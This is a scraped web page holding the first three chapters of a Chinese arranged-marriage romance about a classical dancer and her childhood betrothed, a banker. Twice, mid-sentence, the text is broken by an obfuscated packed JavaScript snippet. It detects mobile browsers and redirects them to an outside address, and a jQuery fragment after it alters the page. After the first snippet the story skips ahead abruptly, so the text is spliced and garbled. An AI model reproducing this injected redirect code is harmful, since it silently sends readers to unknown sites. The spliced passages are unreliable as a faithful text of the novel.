《锁骨吻痕[先婚后爱]》 1. 第 1 章 深蓝色的雾气笼罩在舞台中央,无数盏宫灯同时亮起琥铂色的柔光,舞台像镀上一层流动的蜜色。 前排独舞的舞者倏然抬眸,眉眼间随着这个细微动作簌簌轻颤,她足尖碾压着地板踏步翻转,绣着千只蝴蝶的裙摆渐次绽放,宛如盛开在花丛中的仙子,美得不可方物。 一曲结束,台下响起轰鸣般的掌声。 黎晚棠结束定格动作,牵着大家的手,笑着朝台下观众深鞠了一躬。 刚走下舞台,就看见手捧鲜花,眉眼含笑望着她的沈听荷。 黎晚棠弯唇笑了下,快步上前接过那束香水百合,低头闻了闻花香,抬眸看向眼前人。 她眉梢微挑:“沈老师,我今天这场表演,你准备打几分?” 沈听荷目光轻柔地笑了笑,抬手帮她整理额前碎发,故作认真地思考了一番:“怕你骄傲,给九分吧。” 黎晚棠勾唇:“切,承认你女儿比你优秀,不丢人。” 沈听荷曾经也是一名舞蹈演员,还是国家一级演员,只是为了家庭,以及把更多的心思和精力放在黎晚棠身上,很早就退居幕后,现在只是偶尔担任一些艺术评审委员。 沈听荷被黎晚棠这话逗笑,伸手揽过她的肩,转身往后台方向走:“你什么时候成为你们舞蹈团的首席,我会毫无保留的表扬。” 黎晚棠侧眸看她,眼底透着认真:“说定了,今年保准完成任务!” 沈听荷盯着黎晚棠那双好看的眉眼,沉吟片刻,笑着点头:“嗯,妈妈相信你,肯定能做到。” 黎晚棠卷翘的睫毛低垂,嘴角笑意渐浓:“沈老师,以后多说点这种话,我爱听。” 母女俩说说笑笑进入后台更衣室,路上纷纷有同事跟沈听荷和黎晚棠打招呼。 “沈老师好。” “晚棠,你今晚好美!” 等她们母女俩彻底消失在走廊,旁边人才开始小声议论。 “好羡慕晚棠,从小有舞蹈家妈妈当老师,难怪她舞蹈基础那么扎实,她今晚这段《惊鸿》作为领舞,跳得好耀眼。” “何止舞蹈基础扎实,就她那身材和长相也出奇的耀眼好吧。” 有同事出声补充,语气既羡慕又嫉妒。 黎晚棠就像株娇艳明媚的红玫瑰,给人第一面就足够惊艳。 肤白貌美,精致的五官天生带着欲感的骨相,眼尾上挑,不笑时冷艳,一笑却漾出少女般的梨涡。 就黎晚棠这种又欲又纯的外表,整个舞蹈团找不出第二人。 更别说她那副绝美的身材,明明都是从小练舞蹈的,偏偏她身形纤细却不干瘪,她们都瘦成排骨精了,除了屁股翘点,胸前简直是一马平川。 唯有黎晚棠,身材凹凸有致,特别是那双笔直的大长腿,让人无端冒出一种想收藏起来的冲动。 她不仅家世好,性格也好,自身能力又强,十六岁就捧回双金奖,还毕业于京北舞蹈学院古典专业,说她像个骄傲的公主都不为过。 可偏偏人家低调努力,一心奔着首席暗暗使劲。 “要我说啊,晚棠早晚会成为咱们舞蹈团的首席。” 换好衣服出来的温若棠,听到她们这话,表情瞬间冷了下来:“看来你们都已经准备好了,现在还有心思聊这些。” 几人闻声偏头,看到是温若棠,纷纷散开,各自低头整理仪容。 黎晚棠要想成为首席,竞争对手,无非就是温若棠,两人学舞年龄相当,温若棠也获得过不少舞蹈比赛,团长最看好的也是她们两位。 可黎晚棠不管做什么都压她一头,整个舞蹈团最看不惯她的人,就是温若棠。 两棠相争,她们这些人只会默不作声看戏,从来不乱占队。 抱着鲜花坐上副驾驶的黎晚棠,并不知道同事背后的议论。 系上安全带,她瞬间卸掉所有力气,懒洋洋地靠在背椅上。 霓虹灯从窗外洒入,照亮她微微合上的眼睫。 沈听荷握着方向盘,偏头看她一眼,目光又落在前方路况上。 “你们这次巡演结束,是不是能休息几天?” 黎晚棠闭着眼睛轻嗯了声,转而又道:“日常训练还得有,理疗室这两天估计要勤跑,下雨天膝盖又有点疼了。” 对于舞者而言,身上没有伤才不正常,唯有这些,才是能证明她们努力的勋章。 沈听荷从小也是这么熬过来的,特能理解作为舞者的艰辛。 但有些话,她还是要说。 酝酿了好一会儿,前方正直红绿灯时,她委婉开口:“棠棠,有件事我想跟你说一下。” 黎晚棠闭眼调整睡姿,漫不经心道:“嗯,什么事啊。” 沈听荷又瞥她一眼,声音低了几分:“……就是,当年你爷爷和傅爷爷曾经为两家订下过娃娃亲。” 听到“娃娃亲”三个字,黎晚棠忽而睁眼,无焦距地盯着前方红绿灯沉默了几秒,骤然扭头去看沈听荷。 黎家就她一个独苗苗,娃娃亲的人选除了她,没别人了。 黎晚棠稍稍坐起身,轻扯嘴角:“妈,这都什么年代了,你们不会想按旧俗,把这事搬出来让我执行吧?” 沈听荷呵笑两声:“……已经执行了,我现在算是正式通知你。” 黎傅两家是百年世交,从老爷子他们那辈起,两家的关系就密切。 头两年,傅老爷子离世,娃娃亲的事就没人提过,如今傅家长子已经到了成家的年龄,这事也就不能再拖下去了。 黎晚棠猛然反应过来,为何今天她爸没过来,原来他们是打算跟她说这事,他不好意思说出口,这个重任就交给了沈老师。 “沈老师,您埋的这个深水炸弹真够刺激的,这年头还搞出个娃娃亲。” 黎晚棠嗤笑了声,扭头去看窗外:“我还没成为首席呢,你们就着急要我嫁人了?” 前方红灯变绿,沈听荷边踩下油门,边解释:“棠棠,妈妈保证这事对你的生活和事业没有任何影响,现在只是两家把这门婚事定下来,你爸那意思,是要我提前告诉你一声,让你有个心理准备。” “哎。” 黎晚棠单手撑着脑袋,无力长叹:“我是真没想到,信誓旦旦说要宠我一辈子的黎总,如今为了长辈约定的娃娃亲,要亲自把我送走。” 沈听荷听她这番语气,没忍住笑了起来:“你爸就是舍不得,才让我开这个口。” 黎晚棠切了声,又扭头看她:“要死就死个痛快,说吧,傅家那边选定人选是谁?” 提到这个,沈听荷心情愉悦地笑了:“你认识的,是砚深那孩子。” “……” 黎晚棠仿佛听到什么凶残且又恐怖的鬼故事,她双眼瞪大如铜铃,因不可思议,指尖稍用力就掰断那支散发香味的粉百合。 香味凝固,车厢内只剩下沉默。 沈听荷半天没听到她说话,扭头看了眼,只见黎晚棠露出副生无可恋的表情。 她不解反问:“你这是什么意思,砚深家世好,性格好,长相也不错,海龟回来的工作更是出色。” 沈听荷收回目光,笑容温和地看向前方:“你忘了,他以前还给你当过家教。” 傅砚深礼貌懂事,平日就是话少,加上他出国后,这两孩子就彻底断了联系,沈听荷怕黎晚棠忘了,才特意提醒。 黎晚棠听完,闭上眼睛狠狠地叹了口气。 心想,她就因为这个才如此抗拒,提起那段家教经历,她永远忘不了被傅砚深智商碾压的日子。 她轻咬了咬唇瓣:“难怪我最近总感觉有什么东西在等着我,现在才知道,原来是报应。” 这突如其来的娃娃亲,就是她的报应。 何况对方还是傅砚深! 黎晚棠觉得自己不能如此被动,她需要反抗,需要为她的婚姻博得一份自由。 她深吸口气,重整旗鼓,侧身面对着沈听荷:“妈,如果我有男朋友了,这婚约还能执行吗?” “有了当然不能,你——” 沈听荷说完前面那句,才猛然反应过来,侧眸去看她,惊诧地问:“棠棠,你交男朋友了?” 黎晚棠长得好看,模样跟她年轻时相似,身材也像,所以在情感方面她从来没担心过。 女儿很受男生欢迎的事她知道,却没见她谈过一个男朋友,他们还以为黎晚棠目前不想谈恋爱,只想把精力放在舞蹈上。 可现在突然得知她有男朋友,沈听荷确实很惊讶。 黎晚棠没想到母亲反应那么大,微扯了扯唇:“……还没确定,但有这方面的意向。” “嗐,那不就是没有,不管对方是谁,你还是放弃吧,砚深那孩子就很合适你,相信妈的眼光。”沈听荷极力推荐傅砚深。 黎晚棠:“……” 傅砚深有毒吗? 古板无趣还固执,这样性格的人还入沈女士眼了。 - 回到家,黎晚棠以累为借口,急匆匆上了二楼。 关门反锁,一气呵成。 她把手里的衣服丢在一旁,掏出手机来到落地窗前,给闺蜜叶知薇打去求救电话。 那头刚接通,她就迫不及待开口:“快快快,发挥你人脉的优势到了,赶紧给我找个男人。” “啊?” 叶知薇以为自己接错电话了,拿下来看了眼,错愕喊道:“什么情况,怎么突然饥渴上了?” “哎呀,事情有点复杂,一时半会说不清楚,你平时不是堪称情场高手嘛。” 黎晚棠侧身瞥了眼房门口,适当压低声音:“情场高手身边的男性朋友应该不少,快给我介绍一个靠谱的。” 叶知薇被她这话气笑,娇嗔道:“我又不滥情,那有你说得那么夸张。” 黎晚棠清楚她这位闺蜜的性格,两人是年少时跳舞相识的,如今十几年过去,依旧混在一起。 看来她不把事情说清楚,叶知薇绝不可能放过她。 黎晚棠有些头疼地揉了揉太阳穴,把今晚这个重磅炸弹简单跟她说了一遍。 谁知叶知薇听完,捂嘴哈哈大笑起来:“天啊,现在都二十一世纪了还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎晚棠弯唇:“裴先生客气了,我不是帮你省钱,而是我平时就这么吃。” 裴竞洲想到她的职业,瞬间了然,他拇指贴着食指打了个响,笑着叫来服务员,很贴心的给她加了杯果汁。 他低声感慨:“看来作为舞者,牺牲的不仅是时间,还有诸多美食。” 黎晚棠诧异挑眉,似乎很赞同他后面那句。 她确实好久没吃甜食了。 果汁端上桌后,黎晚棠拿过轻抿了口:“裴先生,我的情况知薇应该跟你说了吧,我没什么要求,只要人品端正,其他方面都不是问题。” “这个黎小姐请放心,我们裴家从爷爷那辈起就开始经商了,父母都是实实在在的生意人,我从小就被父亲教导,做人就跟做生意一样,不投机取巧,一步一个脚印,万事才能踏实。” 黎晚棠看着对方,轻笑了下:“那裴先生对我有什么要求?” 裴竞洲浅浅抬眸,目光又在黎晚棠身上扫了几眼,而后端起桌上热茶喝了口:“黎小姐各方面都很优秀,我挑不出毛病。” 他停顿了下,笑道:“对你,我很满意。” 黎晚棠靠着椅背静静地看着裴竞洲,心里清楚好听的话,后面都带着但是。 果然不期然,裴竞洲话锋急转,脸上表情严肃几分:“唯独黎小姐的工作让我不安心,你现在是一名舞者,如果我们在一起,你的时间是全部投入在工作上,还是我身上?” 黎晚棠嘴角仅有的浅笑骤然消失,她想,应该是叶知薇没传达清楚。 他们这次相亲,只是表面上的合作,说白了就是应付家里人,并未必涉及到谈感情。 她扯唇:“裴先生,是知薇没跟你说清楚吗?” “哦,说了,她说你想找个临时的男朋友。”裴竞洲勾唇轻笑:“但我对黎小姐是真有好感,所以想把这个临时,变成永久。” 黎晚棠扯唇笑了下,明确拒绝:“不好意思裴先生,我目前没有谈恋爱的打算,如果你愿意合作,我们就继续谈,不愿意也没关系,你能抽时间过来,已经是很给我面子了。” 她看了眼刚端上桌的食物,客套笑道:“今天这顿饭,我请。” 听完她这番话,裴竞洲脸上染几分愁色,微皱的眉眼似乎在犹豫:“黎小姐,既然是合作,肯定不是一时半会儿就能结束,我所指的时间,是我们配合的期间,你总得留给我们互相了解的时间吧?” 说着,他眼眸微抬,视线恰好瞥见右前方那道高大身影,下一秒,裴竞洲欣喜地站了起来。 “咦,砚深,你也在这?” 黎晚棠冷不丁听到这个名字,脑子先是空白,而后条件反射般回头。 当目光触及到那张面无表情的俊脸时,她眼睫僵硬地颤了颤。 What? 相个亲。 竟然相到傅砚深兄弟面前来了? 2. 第 2 章 傅砚深那张脸无疑是长得好看的,要不然当年见他第一面,不会记忆如此深刻。 在复古水晶灯下,精良的黑色西服,将他身形衬得挺拔修长,肩线平直像裁开的宣纸,有种自带旧式文人的清肃感。 站立时,他肩背笔直仿如量角器校准过,袖口折痕都保持着对称,仿佛随时能出席一场国际会议。 典型的精英男形象。 男人高鼻浓眉,鼻梁挂着一副金丝镜框,深邃的眸子熠着光,半垂着眼睫看人时,带着几分家长的审视感。 黎晚棠连忙收回视线,立马垂下头,努力降低自己的存在。 总感觉他那道审视目光,像是冲着她来的,他们多年未见,不清楚傅砚深是否还认得她。 当下这一刻,她但愿他不认识。 虽然两家婚约还没正式定下,但这样的场面多少会有些尴尬。 裴竞洲并未察觉黎晚棠的异常,见傅砚深不说话,又笑着喊了声:“砚深,你要没什么重要的应酬,一起呗。” 他们鲜少在这种场合碰见,加上今日恰好有黎晚棠在,他虚荣心上来了,想让兄弟看看他挑人的眼光,并不像他们平日吐槽他没品位。 所以裴竞洲格外热情:“哎呀,别墨迹了,快点!” “……” 黎晚棠倪了眼对面的人,掐死他的心都有了。 得,就他懂热情! 优雅奢华的西餐厅本就安静,一丝细微的动静都能无线放大,黎晚棠听着沉稳有力的脚步声逐渐走近,那颗心紧张得揪了起来。 现在她找借口溜走,还来得及吗? 显然,裴竞洲这个大嘴巴没给她这个机会,傅砚深还未落座,他先迫不及待地介绍起来。 “巧了,今儿你正好撞见我相亲,兄弟我也不瞒你。” 裴竞洲意味深长地朝傅砚深挑眉,意思让他瞧瞧,他这位相亲对象绝不绝:“这位是黎小姐,一名优秀的古典舞者。” 黎晚棠制止的手还没抬起,傅砚深平静的目光先扫了过来,两人猝不及防对视上。 男人冷峻的脸上没有多余情绪,像在看个毫无关己的陌生人。 很快,他便平淡错开,时长不超过两秒,而后,身形板正地落坐在她对面的椅子上。 黎晚棠一点点收回轻颤的右手,垂眸时,微不可查地松了口气。 看样子,应该是没认出她。 落座后,裴竞洲无比自豪地跟黎晚棠介绍身旁人:“黎小姐,这位是我兄弟傅砚深,他现在可是投行界的大佬,金融这块眼光贼毒辣,你要有投资方面的需求,尽管找他。” 黎晚棠顺势抬头,目光再一次跟傅砚深对上,他眼神依旧很淡。 现在她敢肯定,傅砚深是彻底把她忘干净了。 不过也很正常,她这几年变化挺大的,小时候的婴儿肥消失,下巴尖了很多。 “傅先生你好,我不懂什么投资,如果朋友有这方面的需要,我会给你介绍生意。” 他既然没认出来自己,黎晚棠索性大大方方聊起来,她又低头喝了口果汁,这一刻,莫名觉得味道还不错。 就在这时,傅砚深突然开口,嗓音清冷且低沉:“你这是在相亲?” 黎晚棠忽地抬眸,不清楚他这话是在问她,还是裴竞洲。 好在没等她过多纠结,裴竞洲先笑着接过话:“不明显吗?俊男美女很般配啊,黎小姐单身,我也没女朋友,我们彼此都很合适。” 黎晚棠眉梢微挑,轻扯了扯唇:“目前,我也觉得裴先生还不错。” 她现在突然觉得,这种情况变得有点刺激。 特别是傅砚深没认出她,而他们身上却又背负着即将定亲的关系。 嘶!好炸裂! 傅砚深目光幽深的盯着黎晚棠,平静的脸上看不出什么情绪,语气却依旧生硬:“他交过多任女友,你是否了解?” 黎晚棠:“……” 裴竞洲见兄弟拆自己台,错愕地看了眼他,忙出声解释:“黎小姐你别误会,我深情却不滥情,以往都是和平分手。” 黎晚棠若有所思盯着低头去看菜单的男人,听出他这话只是善意提醒,无所谓地笑了:“理解,毕竟这个社会,大多数都有过前女友或前男友,很正常的现象,我不介意。” 她虽然没谈过,但叶知薇经验丰富,换男友是家常便饭,而且身边其他同事也是如此。 反而像傅砚深这种快三十岁的男人,现在还是处男的,恐怕除了他也没谁了。 听她这么说,裴竞洲暗暗松了口气:“看来黎小姐很开明,年轻人嘛,谁都有情窦初开的时候,谈过几段恋爱确实正常。” 他话语急转,反问:“黎小姐呢,你谈过几段?” 黎晚棠差点没被嘴里的果汁呛死,忙把杯子放桌上,故作淡定:“我当然……” 余光瞥见停止翻阅菜单的傅砚深,轻咳出声:“我当然也谈过。” 这会儿要说没谈过,她岂不是很没面子。 只是这话落下。 傅砚深和裴竞洲脸上同时露出不同的表情。 前者眸色不明,后者喜笑颜开。 裴竞洲笑呵呵地趁热打铁:“黎小姐,说真的啊,一番交流下来,我觉得我们更般配了,性格也合适,婚后肯定会有更多相同的兴趣爱好。” 听到“婚后”两字,傅砚深侧眸看他,眼神有点冷。 裴竞洲扯了扯嘴角,不明白老傅干嘛用这种眼神看他。 他也…没吹牛啊。 怕傅砚深又要他拆台,他忙在桌下发信息:【老傅,给我留点面子,夸我点好行不行?】 黎晚棠见两人用眼神无声交流,接着裴竞洲低头去看手机,从动作上分析似乎在发信息。 她轻敲了敲桌面:“二位,需要我回避吗?” 裴竞洲立马放下手机,刚要开口解释,身旁人先他一步把手机推了过去,上面恰好显示他发的那条信息?。 “不用,这是他想说的话。” 黎晚棠下意识低头,等看清上面内容,噗嗤笑了。 突然有些同情,裴竞洲为何会有如此耿直的兄弟。 不过,这倒符合傅砚深的性格,他这人不会撒谎。 裴竞洲震惊抬眸,立马把手机拿了回来,而后无情地丢给某人。 “那个,都饿了吧,菜上齐了,我们快吃吧。”他打哈哈,急忙转移话题。 这顿饭吃得格外安静,裴竞洲不说话,黎晚棠也不主动开口,而傅砚深更不会。 饭后,三人出了餐厅,裴竞洲依旧保持绅士风度:“黎小姐,这个点太阳挺晒的,我送你吧。” 黎晚棠偏头瞅了眼沉默不语的傅砚深,唇角微扬:“不用,我开车来的。” 说着,她朝两人点头就要转身,傅砚深却在这时忽然出声:“黎小姐,你家人知道你在相亲吗?” 黎晚棠身形忽顿,不明白傅砚深这句话的含义。 是认出她来了,还是没认出? 但她隐隐感觉,他认出自己的几率比较大。 要不然也不会这么问。 黎晚棠闭了闭眼,背对着他们没转身,咬牙道:“这种事,没必要告诉家长吧。” 一句话,两种含义,看傅砚深怎么理解。 “我等会儿还有事,就先走了。”她忙找借口离开。 “哎,黎小姐,我们还没交换联系方式呢,要不先加微信再走吧!” 裴竞洲抬脚就要去追人,可还没迈出两步,手腕就被身旁人用力拽住。 他茫然回头:“老傅,怎么了?” 傅砚深黑眸扫了眼那抹消失不见的背影,缓缓松开他的手,挺阔的身形往反方向迈步。 “跟上,找你有事。” - 黎晚棠一溜烟跑到停车场,回头见没人追过来,捂住心口轻拍了几下,往车前走去。 拉开车门坐进驾驶座,立马掏出手机找某人兴师问罪。 电话响了两声,叶知薇兴奋地声音传出:“棠宝!人见着了吗,是不是优质男?” 黎晚棠深吸一口气:“你最近视力不太好吧,我有熟悉的眼科医生,免费介绍给你。” “……” 叶知薇愣住,反应过来黎晚棠这话是在嘲讽,哈哈大笑起来:“裴竞洲也没那么差吧,他京北本地人,家里还是做生意的。” 见人不出声,叶知薇心虚摸着鼻尖,笑意微敛:“……就以前交过几任女朋友,不过你放心,他情感虽然丰富,但他对每段感情都很专一,再说你要得急,我找了一圈也就裴竞洲符合你的要求。” 黎晚棠仰头叹气,抬手揉着眉骨:“裴竞洲人勉强过得去,就是你在打听他的背景时,能不能查清楚,他怎么突然就跟傅砚深成兄弟了?” “……” 叶知薇错愕眨眼,似乎也被这个消息惊住,再根据黎晚棠这副语气,她瞬间猜到了什么:“不是吧,你们三人撞上了!” 黎晚棠一时没接话,只觉得脑袋疼。 现在不用怀疑,傅砚深必定是认出她了。 如果他把她偷偷相亲这事告知两家长辈,她不敢去想后果,沈老师肯定能被气死。 黎晚棠捂脸:“嗯,撞得死死的,堪比车祸现场。” 叶知薇听完,又忽地乐了:“棠棠,看来你跟傅砚深挺有缘嘛,你这辈子注定要嫁给他。” “要不你就从了吧,我上网查过他资料,君安国际的投行总裁,不说他一年能挣多少,就他那张脸,是真的抗打!” 话题越说越来劲,叶知薇嗓音都不自觉拔高了两倍:“最主要的!他身材巨好!隔着衬衣我都能看清他线条分明的腹肌,而且将近一米九的身高,跟你这个一米七二的大美女,简直太般配啦!” 黎晚棠无语扯唇:“沈老师缺个干女儿,要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078787|179342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你上?” 闻言,叶知薇偏头认真思考了会儿,咧嘴笑问:“我倒是没问题,就怕他们傅家不认啊。” 黎晚棠:“……” 她敢说,她还真敢上。 - 回到家,黎晚棠一边换鞋,一边偏头打量客厅里的情况。 转身时,目光恰好对上从厨房出来的韩姨。 看到黎晚棠,她笑问:“大小姐,你那么早就回来了?” “嗯,朋友有事就提前结束了。”黎晚棠偏头寻找:“韩姨,我妈呢?” “夫人在花园接电话呢,聊了有一会儿了。” 黎晚棠顺势转身,花园里沈听荷正背对着她,站在那棵法桐树下接听电话,从她侧面表情来看,貌似话题严峻。 她猛然想到什么,眼睫垂了下来。 “大小姐,你要不先去餐厅,今天有你喜欢吃的时蔬。” 黎晚棠回神:“哦,好啊。” 有傅砚深在场,她确实没怎么吃饱。 嘴里才塞进两片绿叶,沈听荷就拿着手机走了过来。 “怎么回来了?”沈听荷拉开她对面的椅子坐下。 黎晚棠抬眸瞥了眼,又低头去吃菜:“朋友有事,就提前回来了。” 见母亲也低头吃饭,她舔了舔唇,不动声色地试探:“妈,刚刚是我爸的电话?” “嗯,说是傅家那边问起结亲的事。”沈听荷放下筷子,抬头看她:“你爸说找个机会,我们两家人见一面。” 虽然不是打小报告,但也不是什么好消息。 黎晚棠放下筷子:“妈,这亲非结不可吗?” “老一辈定下来的事,加上我们两家的交情,我们总不能成为翻脸不认账的那一方吧。” 沈听荷给她盛了晚汤,柔声道:“何况砚深那孩子是我们看着长大的,人品秉性都不错,你要嫁给他,我跟你爸也能放心。” 他们就黎晚棠这一个女儿,当年黎智海考虑到她的舞蹈事业,没在生孩子的事情上给她压力,也认为就一个女儿也挺好,他们能把更多的精力和爱放她身上。 可女儿长大总归要嫁人,做父母的哪舍得要她嫁远,现在身边有个知根知底的,加上两家长辈也认可,自然愿意促成这段婚姻。 黎晚棠看了眼面前的汤,又抬手推了回去:“我现在控体重,不能喝汤。” “补身体的,喝点不会涨称。”沈听荷又给自己也盛了碗,继续帮她洗脑:“砚深生活做事都很有条理,以后有他照顾你,妈妈就不用操心了。” “……” 黎晚棠忙端起汤碗,低头一口接一口喝着。 她妈中毒太深,她现在说什么都没用。 午饭结束,黎晚棠上楼午休时,忽然回头:“妈,要是傅砚深不同意这门婚事呢?” 沈听荷一时间被她这话问住,半晌才开口:“那就只能说,你跟他没缘分。” 黎晚棠很轻地挑了挑眉,心里又冒出新的希望。 没准傅砚深真不愿意呢? 像他们那种搞金融的,主观意识很强,肯定不喜欢家里安排好他以后的人生。 傍晚从舞蹈房出来,黎晚棠心里惦记着这事,泡完澡后,她坐床上按摩松腿部肌肉。 一边按,一边低头盯着脚边的手机,似乎在思考应该怎么跟傅砚深聊这件事。 思来想去,觉得还是直接问好了,他们本来就不熟,也没必要搞那种虚伪的寒暄。 等按完双脚,黎晚棠捧着手机缓缓躺下,指尖点开列表去翻找傅砚深的微信。 当年他帮她补课为了方便沟通,两人加上微信没聊几句他就出国了,后来各自都忙,渐渐没了交集。 到最后,谁都没主动发过信息。 黎晚棠指尖停在那张白雪皑皑的图片上,沉默了片刻,这才点进聊天界面。 噼里啪啦打了一大串,最后删删减减,直接报了名字。 黎晚棠:【你好,我是黎晚棠。】 等了大概两分钟,对面信息弹了出来。 傅砚深:【嗯,知道。】 黎晚棠刚要吐槽这人说话还跟以前一样,死板无趣,下一秒跳出来的那行字让她瞬间愣住。 【中午才见过。】 黎晚棠指尖失滑,坚硬的手机外壳不偏不倚砸在她高挺的鼻梁上,疼得她忽地坐起身:“就知道跟他聊天准没好事!” 她揉了揉泛疼的鼻子,重新捡起手机,噼里啪啦在屏幕上敲打:【原来你早认出我了,干嘛还假装不认识?】 等了好几秒,对面才回:【以为你没认出我。】 黎晚棠瞬间闭嘴。 好吧,刚开始确实是她不想认他。 但现在都把话说开了,她也没什么不好意思的,直奔主题:【两家定亲的事,我想我们应该要当面聊一下。】 傅砚深:【好,明天十二点,Diner餐厅见。】 3. 第 3 章 黎晚棠回复了个好,便把手机丢在一旁,眼睛盯着天花板,双腿还不忘拉伸筋骨。 不知傅砚深是故意的,还是嫌麻烦,竟然选了同一家餐厅。 来回做了两组腿部拉伸,黎晚棠关灯准备睡觉时,一旁的手机又响了起来。 她侧身看了眼,屏幕显示叶知薇的电话。 “叶小姐,我的睡眠时间到了。” 黎晚棠抱着被子翻了个身,右腿搭在布偶娃娃上,闭眼困倦道:“有事禀告,无事退朝,你最好是长话短说。” 叶知薇顺势把手机放在化妆台上,点开外扩,对着镜子敷面膜:“哎呀,我也不想打扰你,可裴竞洲太烦人了,一个劲找我要你的微信,没有你的同意,我哪敢给呀。” 黎晚棠眉头蹙起,眼睛又缓缓睁开:“看来,傅砚深并没把黎傅两家订亲的事告诉裴竞洲。” 叶知薇信誓旦旦:“绝对啊!要不然谁会撬自己兄弟墙角。” “……” 黎晚棠凝噎住,不是很赞同她这话:“纠正一下,我们成不成还另说呢。” 叶知薇听出她的言外之意,贴面膜的动作停了下来,好奇问:“怎么?你有办法。” “没有,但我约了傅砚深明天见面,当面聊一聊这事,没准他也不愿意呢。” 叶知薇撇嘴继续贴面膜,不以为然地笑了声:“这可不一定啊,要我是男人,白捡你这么个大美女,傻子才不同意。” 黎晚棠顺着她这话联想了下,嘴角忽弯:“或许傅砚深就是那个大傻子呢。” 噗嗤! 叶知薇被她这话逗笑:“姐妹,你是没仔细打听人家是从哪里毕业的吧,美国普林斯顿大学出来的人,就他那智商,分分钟碾压你。” 黎晚棠笑意秒收:“那就希望傅砚深是个智商在线,情感下线,最好是个没七情六欲的不婚族!” “……” 是不是咒得有点狠了。 叶知薇听着她义愤填膺地宣泄,眼眸转了两圈,开始出谋划策:“你们俩是不是很多年没见了?” “嗯,有五六年了吧?” 平时过年过节两家串门,傅砚深都在国外,根本见不到人,就算他回了京北,他们也没机会碰上,主要是她也很忙,很多时候都泡在排练室里,休息的时间也不多。 不过她跟傅砚深的妹妹关系还可以,小姑娘性格活泼开朗,跟他哥性格完全相反,有时候她都怀疑傅砚深不是宋阿姨亲生的。 毕竟宋阿姨那么温柔贤惠的人,怎么会生出那么清冷死板的儿子。 “那就好办了,只要他对你印象极差,甚至滋生厌恶,你觉得他还会跟你结婚吗?” 黎晚棠眼眸微睁,瞬间觉得叶知薇这话有点道理。 如果傅砚深嫌弃甚至讨厌她,那两家的亲事谈不谈得成,可不好说了,没准到时候不需要她反对,他先不乐意呢。 她忽地从床上坐了起来,弯唇夸赞:“叶记者,还是你脑子好使。” 傅砚深讨厌的事情,她小时候领教过,略知一二。 叶知薇切了声,指尖轻点着脸上的面膜:“不过话又说回来,人家傅砚深各方面条件都不错,为何你偏偏那么排斥他?” 黎晚棠嘴角笑意收敛,抱着被子重新躺了回去。 “真要结婚也不是不行,反正早晚的事,我只是不想跟一个无趣且古板的人生活一辈子。” 她盯着墙上那幅星空油画,低声道:“薇薇,我理想中的另一半,不是傅砚深那样的。” 她忘不了十岁那年参加傅家宴会,目睹傅砚深用色卡调整餐巾角度,当时吓得她不小心把蛋糕糊在他西服上,引来沈老师的斥责。 而且傅砚深当她家教的那段日子,简直是她噩梦的起源。 不仅逼她背完资本论,还被他高智商无情碾压,在他面前,她就是个胆小懦弱不敢犯错的乖学生,而他则是严肃冷静的教导主任。 她无法想象,后半辈子要跟个教导主任生活在一起,会是什么画面。 - 生物钟使然,五点半黎晚棠就准时醒了过来。 脚趾在薄被下微微绷直,小腿肌肉无意识地轻颤,这是多年训练刻进骨髓的条件反射。 身体比意识先苏醒。 做完这一序列动作,她拿过手机看了眼时间,掀开被子下床去洗漱。 外面天空才微微泛白,她爸妈这会儿都还没起床,黎晚棠轻手轻脚下楼,从冰箱拿出常年准备的冰袋,往一楼舞蹈房走去。 家里这个舞蹈房从她出生就有了,以前是沈老师使用,后来重新装修,就变成了她的专属。 她先用冰袋敷在微肿的脚踝上,刺痛感让她彻底清醒。 前几日的演出强度有点大,她脚踝处的微肿还没彻底消下去。 十五分钟后,黎晚棠站起身,对着全身镜做脊柱逐节唤醒,从尾椎到颈椎,犹如一串串的佛珠被解封。 待身体筋骨唤醒后,开始基本功的训练。 黎晚棠抬起右脚放在把杆上,大腿内侧肌肉因持续外开而发抖,汗水也顺着脖颈滑进衣领。 接着单腿往后踢,镜中的剪影划出漂亮弧度,支撑腿的膝盖骨因受力逐渐泛白。 每天做着同样的基本功,黎晚棠早已习惯,用教练的话说,她们舞者是用疼痛雕刻线条。 当她做下压腿时,身后突然传来沈听荷的声音:“再低三度,髂腰肌还没完全打开。” 沈听荷走上前,手掌按在黎晚棠后背用力下压,髋关节发出细微的咯吱声。 “沈老师,今儿怎么起那早啊?”黎晚棠稍稍侧头,额前已布满汗水。 沈听荷见时间够了,缓缓松开手,顺势扶着她起身:“我最近都是这个点起床,看到舞蹈房亮灯,就进来看看。” 她抬手帮黎晚棠擦汗,语气中带着些心疼:“休息还那么努力。” 黎晚棠转身继续其他动作:“没办法,我不是答应过你的吗,今年必须要成为我们舞蹈团的首席。” 沈听荷失笑:“你膝盖还有旧伤呢,训练需要合理安排。” “知道,平时我注意着呢。” 沈听荷又叮嘱几句,转身出门去帮她准备早餐。 黎晚棠训练完,回房间洗了个澡,来到餐厅,桌上已经摆满了丰盛的早餐。 她拉开椅子坐下,端起桌上的牛奶喝了口,瞧见不远处摆放的马克龙,快速拿起一个放入嘴里。 “小馋猫,爸爸都看到了。” 黎晚棠蓦然回头,就看见从客厅走过来的黎智海。 “又吃甜食,不怕体脂变高了。”黎智海笑着揉了揉女儿的头,拉开对面的椅子坐下:“以后甜食还是要少吃。” 黎晚棠嚼着嘴里的食物,含糊道:“我今天多练了二十分钟,可以抵消了。” 她是甜食爱好者,休息室都备着糖果,可为了身材和健康,平时都控制得很好,实在馋了,也会允许自己吃块巧克力。 但后果就是,需要加练一个小时。 